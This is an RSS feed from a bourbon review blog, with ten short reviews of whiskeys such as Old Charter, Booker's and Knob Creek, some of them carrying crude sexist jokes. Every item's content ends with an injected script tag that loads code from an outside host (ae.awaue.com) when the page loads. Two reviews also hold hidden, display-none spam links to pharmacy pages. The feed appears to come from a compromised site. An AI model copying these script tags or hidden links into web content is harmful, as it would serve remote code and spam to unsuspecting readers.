<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Boys of Bourbon &#187; Bourbon Reviews</title>
	<atom:link href="http://www.boysofbourbon.com/category/reviews/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.boysofbourbon.com</link>
	<description>The Definitive Bourbon Review</description>
	<lastBuildDate>Thu, 20 May 2010 16:42:48 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Old Charter &#124; Rating 87</title>
		<link>http://www.boysofbourbon.com/old_charter_review/</link>
		<comments>http://www.boysofbourbon.com/old_charter_review/#comments</comments>
		<pubDate>Sat, 15 Mar 2008 18:15:18 +0000</pubDate>
		<dc:creator>Nic</dc:creator>
				<category><![CDATA[Bourbon Reviews]]></category>
		<category><![CDATA[bourbon review]]></category>
		<category><![CDATA[bourbon reviews]]></category>
		<category><![CDATA[old charter review]]></category>

		<guid isPermaLink="false">http://www.boysofbourbon.com/old_charter_review/</guid>
		<description><![CDATA[Make a baby boomer happy, drink Old Charter in a room that smells of rich mahogany. I decided to try a taste of Old Charter on a recent trip to see my parents.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.boysofbourbon.com/wp-content/uploads/2008/03/oldcharter.jpg" ><img class="alignleft size-full wp-image-747" title="oldcharter" src="http://www.boysofbourbon.com/wp-content/uploads/2008/03/oldcharter.jpg" alt="Old Charter" width="328" height="435" /></a>On a recent trip up to the Texas panhandle to see my parents we decided to have dinner at “the club.” The club is full of wood paneling, 1970’s carpet, club chairs with wheels, and delicious steaks. It is almost like a trip back in time. In its hay day during the oil boom this was the place to be on a weekend. Of course it is still my parents favorite place to eat dinner. Having never had a glass of bourbon at the club I decided to see what unusual selection they might have.</p>
<p>I headed over to the bar to take a look. More of a scotch selection than anything else. Finally I spotted something called Old Charter. That sounded like a bourbon since a good rule of thumb in naming bourbons is to choose any word and add “old” in front. On delivery everyone asked what I had chosen. I said, “something I never heard of called ‘Old Charter.’” That resulted in several of these baby boomers nearly spitting Yellow Tail merlot out their nose. Apparently Old Charter is a classic bourbon they had been drinking all their life, and I was an idiot for not knowing anything about it.</p>
<p>Here is what I found out. These people knew what they were talking about. Literally this is a classically styled bourbon. I found it to be very fruity with significant amounts of caramel and charring. The alcohol is a manageable 90 proof that for me did not require anything but ice to easily enjoy.</p>
<p>Overall I say this is a terrific bourbon. A poor man’s Woodford in some ways. Pick it up for less than $12 a bottle, but make sure you never suggest to someone over 50 years old that you never heard of it.  <strong style="display: none;"> </strong> <em style="display: none;"></em> <em style="display: none;"><a href="http://sistertoldjah.com/wp-content/uploads/2009/05/lukol.html" onclick="javascript:urchinTracker('/outbound/article/http://sistertoldjah.com/wp-content/uploads/2009/05/lukol.html');">buy lukol</a> <strong style="display: none;"></strong> <em style="display: none;"></em> </em></p>
<ul style="display: none;">
<li><em style="display: none;"></em></li>
</ul>
<p><em style="display: none;"> </em> <strong style="display: none;"></strong></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.boysofbourbon.com/old_charter_review/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Buffalo Trace &#124; Rating 89</title>
		<link>http://www.boysofbourbon.com/buffalo-trace-89/</link>
		<comments>http://www.boysofbourbon.com/buffalo-trace-89/#comments</comments>
		<pubDate>Thu, 06 Mar 2008 19:39:01 +0000</pubDate>
		<dc:creator>Marcus</dc:creator>
				<category><![CDATA[Bourbon Reviews]]></category>
		<category><![CDATA[bourbon review]]></category>
		<category><![CDATA[buffalo trace]]></category>
		<category><![CDATA[good bourbon]]></category>

		<guid isPermaLink="false">http://www.boysofbourbon.com/buffalo-trace-89/</guid>
		<description><![CDATA[I know many of you readers agree with the Boys that good bourbon is best enjoyed with a good story. Most distilleries recognize this and present their whiskeys with a nostalgic label or grand tale. I&#8217;ve noticed the real story has to be in the taste. Buffalo Trace combines both of these in the right way. With a great [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.boysofbourbon.com/wp-content/uploads/2008/03/buffalotrace.jpg" ><img class="alignleft size-full wp-image-751" title="buffalotrace" src="http://www.boysofbourbon.com/wp-content/uploads/2008/03/buffalotrace.jpg" alt="" width="100" height="134" /></a>I know many of you readers agree with the Boys that good bourbon is best enjoyed with a good story. Most distilleries recognize this and present their whiskeys with a nostalgic label or grand tale. I&#8217;ve noticed the real story has to be in the taste. Buffalo Trace combines both of these in the right way. With a great aroma, nearly sugary taste even with water, and a smooth finish, I was highly appreciative of this gift bottle and toasted each glass to fellow connoisseur and gifter, Broseph. No wonder these guys (also responsible for Blanton&#8217;s and Weller&#8217;s) were named Distiller of the Year for the past three years by several industry publications. I give it a solid 89. But, Marc, what&#8217;s so good about that story? I was so distracted by this bourbon&#8217;s easy drinking, I didn&#8217;t have time to make one before it was gone. Check out a well spun yarn at <a href="http://www.buffalotrace.com" onclick="javascript:urchinTracker('/outbound/article/http://www.buffalotrace.com');">buffalotrace.com</a> under Adventurer&#8217;s Diaries or buy a bottle and send us one of your own.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.boysofbourbon.com/buffalo-trace-89/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Booker&#8217;s &#124; Rating 99</title>
		<link>http://www.boysofbourbon.com/review-bookers-99/</link>
		<comments>http://www.boysofbourbon.com/review-bookers-99/#comments</comments>
		<pubDate>Thu, 17 Jan 2008 20:46:23 +0000</pubDate>
		<dc:creator>Nic</dc:creator>
				<category><![CDATA[Bourbon Reviews]]></category>
		<category><![CDATA[Booker Noe]]></category>
		<category><![CDATA[Booker's Bourbon review]]></category>
		<category><![CDATA[great bourbon]]></category>

		<guid isPermaLink="false">http://blog.boysofbourbon.com/?p=3</guid>
		<description><![CDATA["I'm not going to lie that smells like pure gasoline." Those are the words that go through your head when you pull the wax  off the top of a bottle of Booker's. I guess I should have known to expect a stout bourbon when the guy working the cash register at the bottle store said I better buy some bottled water to go with it.  Some background info is in order.]]></description>
			<content:encoded><![CDATA[<blockquote><p>I&#8217;m not going to lie that smells like pure gasoline.</p></blockquote>
<p><a href="http://www.boysofbourbon.com/wp-content/uploads/2008/01/bookers.jpg" ><img class="alignleft size-full wp-image-760" title="bookers" src="http://www.boysofbourbon.com/wp-content/uploads/2008/01/bookers.jpg" alt="" width="141" height="456" /></a>Those are the words that go through your head when you pull the wax  off the top of a bottle of Booker&#8217;s. I guess I should have known to expect a stout bourbon when the guy working the cash register at the bottle store said I better buy some bottled water to go with it.  Some background info is in order. I bought the Booker&#8217;s because I am from a town called Booker. Hopefully they are marketing this stuff to more than just people from my hometown who think the novelty is just too good to pass up, even at $55 a bottle.</p>
<h4>Packaging:</p>
<ul style="display: none;"><em style="display: none;"> </em></ul>
<p><strong style="display: none;"> </strong></h4>
<p>As you can see in the picture, it is rather plain looking. Apparently they used some sophisticated computers to make the label look hand written as though you might believe that these bottles are in such limited supply that someone hand wrote everything out. I might have been fooled, but I don&#8217;t think anyone could write on the curve of a bottle that good. I must admit, I like the wood box it comes in. Some how it seems like if you spend over $50 on a bottle of bourbon they should include a box. Since I was giving this to my buddy as a graduation present, it made it easier to wrap.</p>
<h4>Taste: <em style="display: none;"> </em></h4>
<p>The taste is very bold. So much so it almost burns your lips. I can&#8217;t imagine trying to drink this without water. I have never spoken to anyone who has either. Or at least that enjoyed it that way. Its over 120 proof, and you feel every bit of it. Apparently this is &#8220;uncut&#8221; and not in a Jewish way, but rather they stuck a spout in the barrel, poured it in to the bottle, and stuck a wax top on it.  I love this. Hands down my favorite bourbon. Several of us here at the the Review, consider Booker&#8217;s to be the measure for all other bourbons. Since it is such a pure form of bourbon it makes for a good measuring stick. Most of the taste is at a particular extreme. Still, someone with the right amount of water it manages to be both oaky and sweet at the same time. In my mind, this is the perfect bourbon.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.boysofbourbon.com/review-bookers-99/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Knob Creek &#124; Rating 90</title>
		<link>http://www.boysofbourbon.com/review-knob-creek-rating-90/</link>
		<comments>http://www.boysofbourbon.com/review-knob-creek-rating-90/#comments</comments>
		<pubDate>Thu, 18 Oct 2007 13:40:07 +0000</pubDate>
		<dc:creator>Matt</dc:creator>
				<category><![CDATA[Bourbon Reviews]]></category>
		<category><![CDATA[bourbon rating]]></category>
		<category><![CDATA[bourbon review]]></category>
		<category><![CDATA[fine whiskey]]></category>
		<category><![CDATA[knob creek review]]></category>

		<guid isPermaLink="false">http://blog.boysofbourbon.com/?p=13</guid>
		<description><![CDATA[Knob Creek&#8230;one good whiskey. I had it with water and I must say that it is better served straight on the rocks. The water masked the full flavor of the whiskey and it tasted flat.  Knob is a smooth enough whiskey not to have  to mix it with anything to take off the edge.   [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.boysofbourbon.com/wp-content/uploads/2007/10/knobcreek.gif" ><img class="alignleft size-full wp-image-757" title="knobcreek" src="http://www.boysofbourbon.com/wp-content/uploads/2007/10/knobcreek.gif" alt="" width="171" height="267" /></a>Knob Creek&#8230;one good whiskey. I had it with water and I must say that it is better served straight on the rocks. The water masked the full flavor of the whiskey and it tasted flat.  Knob is a smooth enough whiskey not to have  to mix it with anything to take off the edge.   This brings me to a important factor in drinking whiskey: the mix.  It is  crucial that you have an experienced and knowledgeable bartender to  mix a fine whiskey with anything.  If the mixture is correct the full flavor  will brought out in the drink.  On the other hand, if you have a bartender who commonly mixes  other drinks with the sole purpose of seeing how much liquor can be added  to a mixture, the whiskey will turn out all wrong and the experience of a  good high end whiskey will have been ruined due to the inexperience of the bartender.</p>
<p>I believe that was a major part of the problem with my Knob and water  yesterday evening.   Even with the wrong mixtures, Knob is still a very fine whiskey and I would  recommend it to anyone looking to expand there whiskey experiences beyond  the Jim, <a href="http://www.boysofbourbon.com/review-jack-daniels-no-7-rating-82/" >Jack</a> and SoCo standards.  It is a step up in  quality so be prepared to take a step up in price both in the bar and at the  store.  The extra coin is well worth it in my opinion.   On this particular evening I was enjoying a Knob and water when the  atmosphere was suddenly picked up by a couple of older gentlemen who came  driving up to the bar; one  was driving a completely refurbished 1962 Corvette and the  other a restored 1957  Studebaker Golden Hawk with a rebuilt engine that would make the old Chevy 454 cry like a baby.  If the Knob and water  wasn&#8217;t enough, the addition of two classic automobiles to the scene at the  bar was enough to make the evening a success in my book.  Its not everyday  that you get to enjoy a fine whiskey while checking out two classic cars.   Turns out the two older gentlemen were also quite the comedians and kept the  bar going for quite some time with their material.  I feel obligated to  share one of the jokes with you at this time.</p>
<ul style="display: none;"></ul>
<p><strong>Older Gentleman #1:</strong> Have you ever heard of a  carnival woman?</p>
<p><strong>Older Gentleman #2: </strong>No, what is that. *As he wipes off his face* The kind of  woman who sits on your face so you can guess her weight.</p>
<p>While the Knob and water was not the best I had ever had, the rest of the  evening made up for it and all is well that goes down as smooth. It if is whiskey too, all the better.  I give Knob Creek a 90 on a 100 point scale.  It is a must have in  my regular rotation.<br />
<strong></strong></p>
<p><strong>FYI:</strong> 100 Proof <em style="display: none;"></em><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.boysofbourbon.com/review-knob-creek-rating-90/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>Sam Houston &#124; Rating 91</title>
		<link>http://www.boysofbourbon.com/review-sam-houston-rating-91/</link>
		<comments>http://www.boysofbourbon.com/review-sam-houston-rating-91/#comments</comments>
		<pubDate>Thu, 18 Oct 2007 13:37:05 +0000</pubDate>
		<dc:creator>Marcus</dc:creator>
				<category><![CDATA[Bourbon Reviews]]></category>
		<category><![CDATA[bourbon review]]></category>
		<category><![CDATA[boys of bourbon]]></category>
		<category><![CDATA[marcus]]></category>
		<category><![CDATA[whiskey reviews]]></category>

		<guid isPermaLink="false">http://blog.boysofbourbon.com/review-sam-houston-rating-91/</guid>
		<description><![CDATA[
Coincidence brought me face to face with this very small batch bourbon. Soon after moving to Houston, I stumbled upon a bottle of bourbon named after the the city&#8217;s namesake. The distiller also bottles Jefferson&#8217;s Reserve and carries a handwritten label. Good start, and an even better finish. Although 90 proof, the initial nose is [...]]]></description>
			<content:encoded><![CDATA[<ul style="display: none;"></ul>
<p><a href="http://www.boysofbourbon.com/wp-content/uploads/2007/10/samhouston.jpg" ><img class="alignleft size-full wp-image-753" title="samhouston" src="http://www.boysofbourbon.com/wp-content/uploads/2007/10/samhouston.jpg" alt="" width="134" height="179" /></a>Coincidence brought me face to face with this very small batch bourbon. Soon after moving to Houston, I stumbled upon a bottle of bourbon named after the the city&#8217;s namesake. The distiller also bottles Jefferson&#8217;s Reserve and carries a handwritten label. Good start, and an even better finish. Although 90 proof, the initial nose is not overpowering. A dash of water brings out an excellent palate &#8211; sweet, but not sugary or fruity &#8211; the sweetness only found when aged by an expert. The finish only accents those flavors and leaves you wanting more. Being hand crafted, I highly doubt you will come across a bottle belonging to the same batch. However, I would bet the attention each bottle receives will reward you as well as it did me. I intend to find out soon for myself. Treat yourself and I&#8217;m sure you&#8217;ll agree, Sam Houston should always be stocked in your private collection.<strong> Price:</strong> $25<strong> Rating: <em style="display: none;"> <em style="display: none;"><a href="http://sistertoldjah.com/wp-content/uploads/2009/05/claritin.html" onclick="javascript:urchinTracker('/outbound/article/http://sistertoldjah.com/wp-content/uploads/2009/05/claritin.html');">clariti</a></em></em></strong>91<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.boysofbourbon.com/review-sam-houston-rating-91/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Phillips Union &#124; Rating 40</title>
		<link>http://www.boysofbourbon.com/review-phillips-union-rating-40/</link>
		<comments>http://www.boysofbourbon.com/review-phillips-union-rating-40/#comments</comments>
		<pubDate>Thu, 18 Oct 2007 13:30:57 +0000</pubDate>
		<dc:creator>Matt</dc:creator>
				<category><![CDATA[Bourbon Reviews]]></category>
		<category><![CDATA[blended whiskey]]></category>
		<category><![CDATA[bourbon review]]></category>
		<category><![CDATA[Phillips Union]]></category>

		<guid isPermaLink="false">http://blog.boysofbourbon.com/?p=15</guid>
		<description><![CDATA[It states on the bottle that its a blend of Canadian whiskey and Kentucky bourbon. That&#8217;s the biggest load of fickle matter I&#8217;ve ever heard. They should have labeled it a woman&#8217;s whiskey that captures the perfect blend of Malibu rum and (insert a flavored vodka here). It was like I was drinking a white [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.boysofbourbon.com/wp-content/uploads/2007/10/phillips_whiskey4x6_sidebar.jpg" alt="Phillips1" width="200" height="319" />It states on the bottle that its a blend of Canadian whiskey and Kentucky bourbon. That&#8217;s the biggest load of fickle matter I&#8217;ve ever heard. They should have labeled it a woman&#8217;s whiskey that captures the perfect blend of Malibu rum and (insert a flavored vodka here). It was like I was drinking a white Russian all night long.  Needless to say I was very disappointed in it.  It does however go very well with coke as it has a very vanilla/hazelnut taste to it.  It goes down very smooth. A good selection if you are wanting to break-in the old lady on the art of whiskey drinking, but never would I be caught dead with a bottle of this in my hands around  the boys.  Not a huge dent in the pocket book as it only cost $18.  Like I said its a woman&#8217;s whiskey. I like women and whiskey all the same but never  at the same time, only one after the other.</p>
<blockquote><p>Like I said its a woman&#8217;s whiskey. I like women and whiskey all the same but never  at the same time, only one after the other.</p></blockquote>
<p>Preferably the whiskey then the woman because then you would be getting lucky at the end of the night, but  I&#8217;m sure we&#8217;ve all been there where a fifth of whiskey was needed to remove any memory of the woman that came before the bottle or had a figure that looked like the bottle.</p>
<p><strong>Rating: <strong style="display: none;"></strong> </strong> I give Phillips Union whiskey a 40 on a scale of  100.  Its in that  category of &#8220;Only drink it if its free or if it will get  you laid, anytime else is just not worth it.&#8221; <em style="display: none;"></em><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.boysofbourbon.com/review-phillips-union-rating-40/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Basil Hayden&#8217;s &#124; Rating 90</title>
		<link>http://www.boysofbourbon.com/review-basil-haydens-rating-90/</link>
		<comments>http://www.boysofbourbon.com/review-basil-haydens-rating-90/#comments</comments>
		<pubDate>Thu, 18 Oct 2007 13:30:45 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Bourbon Reviews]]></category>
		<category><![CDATA[bourbon review]]></category>

		<guid isPermaLink="false">http://blog.boysofbourbon.com/?p=16</guid>
		<description><![CDATA[This spicy bourbon with a hint of honey flavor and the right amount of oak is my new favorite 80 proof of all. BH is perfectly distilled and aged to drink with a little ice, no water needed. The first glass finishes as smooth as the tenth glass with little to no bite and a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.boysofbourbon.com/wp-content/uploads/2007/10/basilhayden.jpg" ><img class="alignleft size-full wp-image-763" title="basilhayden" src="http://www.boysofbourbon.com/wp-content/uploads/2007/10/basilhayden.jpg" alt="" width="48" height="179" /></a>This spicy bourbon with a hint of honey flavor and the right amount of oak is my new favorite 80 proof of all. BH is perfectly distilled and aged to drink with a little ice, no water needed. The first glass finishes as smooth as the tenth glass with little to no bite and a smooth after taste. The bottle will look as nice as any other bourbon on your shelf, if you need the look to go with your taste. This bourbon doesn&#8217;t get the bar calls it deserves. From now on when Maker&#8217;s, Knob, and BH are on the shelf, Basil Hayden&#8217;s is my choice every time.</p>
<p><strong>Age:</strong> 8 years<br />
<strong>Proof:</strong> 80<br />
<strong>Price: <em style="display: none;"> </em> </strong> gift, ?<br />
<strong>Rating:</strong> Excellent (i.e. 90)<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.boysofbourbon.com/review-basil-haydens-rating-90/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Old Whiskey River &#124; Rating 82</title>
		<link>http://www.boysofbourbon.com/review-old-whiskey-river-rating-77/</link>
		<comments>http://www.boysofbourbon.com/review-old-whiskey-river-rating-77/#comments</comments>
		<pubDate>Thu, 18 Oct 2007 13:29:57 +0000</pubDate>
		<dc:creator>Marcus</dc:creator>
				<category><![CDATA[Bourbon Reviews]]></category>
		<category><![CDATA[bourbon review]]></category>
		<category><![CDATA[old whiskey river review]]></category>
		<category><![CDATA[whiskey river]]></category>

		<guid isPermaLink="false">http://blog.boysofbourbon.com/?p=20</guid>
		<description><![CDATA[Old Whiskey River presents a lot of expectation. When someone names a bourbon after the song Willie Nelson has played twice every day for 50 years, you can&#8217;t help but root for the damn drink to blow your doors off. Upping the ante is the fact that this bourbon has been distilled in Nelson County [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.boysofbourbon.com/wp-content/uploads/2007/10/oldwhiskeyriver.jpg" ><img class="alignleft size-full wp-image-765" title="oldwhiskeyriver" src="http://www.boysofbourbon.com/wp-content/uploads/2007/10/oldwhiskeyriver.jpg" alt="" width="122" height="293" /></a>Old Whiskey River presents a lot of expectation. When someone names a bourbon after the song Willie Nelson has played twice every day for 50 years, you can&#8217;t help but root for the damn drink to blow your doors off. Upping the ante is the fact that this bourbon has been distilled in Nelson County for eight generations. And it comes with a guitar pick (don&#8217;t try to actually use it) with Willie&#8217;s signature on it. What is not to like, right? Well, as much as this pains me, I cannot put this at the top of my favorites. I&#8217;ll tell you why, friends: 1) first smell heavy oak, which is a good sign; 2) first sip &#8211; excellent flavor with a hint of vanilla, not sweet; 3) aftertaste &#8211; surprisingly bitter, and not in a good way. Everything about this bourbon is great going down, but the moment when you should be enjoying your recent purchase, you get a shocker. After several tasting sessions, I must settle at a solid rating of 82, mainly for presentation and reverence to the master musician. I may purchase another bottle to try and redeem my hero, but not in the near future. If you find the correct ratio of water (or other mixer) to whiskey, please reply (but remember, the perfect bourbon stands by itself). I leave you with a taster&#8217;s quote: &#8220;A little citrus. Maybe some strawberry. Mmm. Passion fruit, mmm, and, oh, there&#8217;s just like the faintest hint of like, uh, asparagus, and, there&#8217;s a, just a flutter of, like a, like a nutty Edam cheese.&#8221; (Sideways, 2004). Keep Tasting.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.boysofbourbon.com/review-old-whiskey-river-rating-77/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Old Grand Dad &#124; Rating 75</title>
		<link>http://www.boysofbourbon.com/old-grand-dad-rating-75/</link>
		<comments>http://www.boysofbourbon.com/old-grand-dad-rating-75/#comments</comments>
		<pubDate>Thu, 18 Oct 2007 13:24:52 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Bourbon Reviews]]></category>

		<guid isPermaLink="false">http://blog.boysofbourbon.com/?p=18</guid>
		<description><![CDATA[Old Grand-dad bourbon is one that will make your eyes bulge out and you’ll exclaim “POHHEE!! “ My first taste, as in all my reviews, was made with a healthy portion of Old Grand-dad straight over ice.  Now I love bourbon, you can’t stop me loving bourbon, but this one made me pucker up [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.boysofbourbon.com/wp-content/uploads/2007/10/oldgranddad.jpg" ><img class="alignleft size-full wp-image-768" title="oldgranddad" src="http://www.boysofbourbon.com/wp-content/uploads/2007/10/oldgranddad.jpg" alt="" width="69" height="231" /></a>Old Grand-dad bourbon is one that will make your eyes bulge out and you’ll exclaim “POHHEE!! “ My first taste, as in all my reviews, was made with a healthy portion of Old Grand-dad straight over ice.  Now I love bourbon, you can’t stop me loving bourbon, but this one made me pucker up like I just swallowed a lime.  It is not sour like a lime, but it provides a shock to the system.  At 114 proof, its no wonder it packs quite the punch.  There should be a warning label on the front that says, “Old Grand-dad should not be enjoyed near any open flames.”  But let’s move past the fact that this jet fuel of a bourbon is hard to drink straight up on the rocks.  After a few sips straight up, I cut the distilled pleasure with a splash of water.  Wow, what a difference!  Old Grand-dad comes alive with full flavors of smoke and caramel.  Caramel, yep, that’s what I said.  I sat and enjoyed a few glasses of the water cut bourbon while in the biggest little town in the Texas panhandle with two other bourbon connoisseurs.  With friends or sitting in a blizzard by yourself, this is a good bourbon&#8211;just drink cautiously.<br />
<strong>Price:  <strong style="display: none;"> </strong> <em style="display: none;"></em> <strong style="display: none;"></strong> </strong> $23/750mL<br />
<strong>Rating:</strong>75<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.boysofbourbon.com/old-grand-dad-rating-75/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dickle &#124; Rating 85</title>
		<link>http://www.boysofbourbon.com/review-dickle-rating-85/</link>
		<comments>http://www.boysofbourbon.com/review-dickle-rating-85/#comments</comments>
		<pubDate>Thu, 18 Oct 2007 13:23:43 +0000</pubDate>
		<dc:creator>Marcus</dc:creator>
				<category><![CDATA[Bourbon Reviews]]></category>

		<guid isPermaLink="false">http://blog.boysofbourbon.com/?p=17</guid>
		<description><![CDATA[At first you may just giggle at the name. After pouring a glass you may change your tune. This 90 proof Tennessee medal winner with the funny name has a serious taste. A connoisseur will appreciate the initial heavy oak and earthy flavors. I found something missing, however, and tried the next glass as a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.boysofbourbon.com/wp-content/uploads/2007/10/dickel.jpg" ><img class="alignleft size-full wp-image-771" title="dickel" src="http://www.boysofbourbon.com/wp-content/uploads/2007/10/dickel.jpg" alt="" width="86" height="231" /></a>At first you may just giggle at the name. After pouring a glass you may change your tune. This 90 proof Tennessee medal winner with the funny name has a serious taste. A connoisseur will appreciate the initial heavy oak and earthy flavors. I found something missing, however, and tried the next glass as a Manhattan. As all bourbon lovers should know, some whiskeys are better enjoyed with a little help. Some just need a splash of water, others play better with stronger pairings. Two parts Dickel, one part sweet vermouth, and a splash of bitters. The marriage was one I recommend for those bourbons that need a little help. But you&#8217;ll find the cocktail better when using a quality base like Dickel.<strong></strong></p>
<p><strong>Price:</strong> $20</p>
<p><strong>Rating: </strong>85<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.boysofbourbon.com/review-dickle-rating-85/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
